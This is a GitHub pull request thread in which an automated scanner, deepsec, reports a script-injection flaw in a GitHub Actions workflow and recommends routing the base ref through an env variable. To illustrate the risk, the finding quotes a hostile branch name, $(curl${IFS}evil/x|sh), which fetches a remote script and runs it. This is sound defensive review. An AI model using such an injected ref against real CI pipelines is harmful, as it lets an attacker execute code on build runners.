Add PR checking via deepsec

[cnkk]

No description provided.

[github-actions]

🔎 deepsec reviewed d7cd62ad6b7cf9ceb73bda00d8df8c8f34b8fd1a

🔎 deepsec found 1 finding

🟡 MEDIUM ×1

_{scope: git-diff:origin/master · run 20260705122056-182893c182482632}

🟡 MEDIUM · .github/workflows/deepsec.yml:L79

GitHub Actions expression injection: github.event.pull_request.base.ref interpolated into a run: shell block
_{slug: other-ci-script-injection · confidence: low}

Line 79 interpolates ${{ github.event.pull_request.base.ref }} directly into a run: shell command (--diff "origin/${{ github.event.pull_request.base.ref }}"). Any ${{ github.event.* }} value substituted into a run: block is a classic Actions script-injection sink: the value is spliced into the shell before execution, and the surrounding double quotes stop word-splitting/globbing but NOT command substitution $(...) or backticks. Git ref names are allowed to contain $, `, (, ), and ;, so a branch named e.g. $(curl${IFS}evil/x|sh) would execute during the step, wh…

Recommendation: Never interpolate ${{ github.event.* }} directly into run: scripts. Pass the value through an env: variable on the step and reference the shell variable quoted, e.g. add env: PR_BASE_REF: ${{ github.event.pull_request.base.ref }} and use --diff "origin/${PR_BASE_REF}"; the env indirection prevents the expression from being evaluated by the shell. Optionally validate the ref against `^[A…

---

_{🤖 generated by deepsec}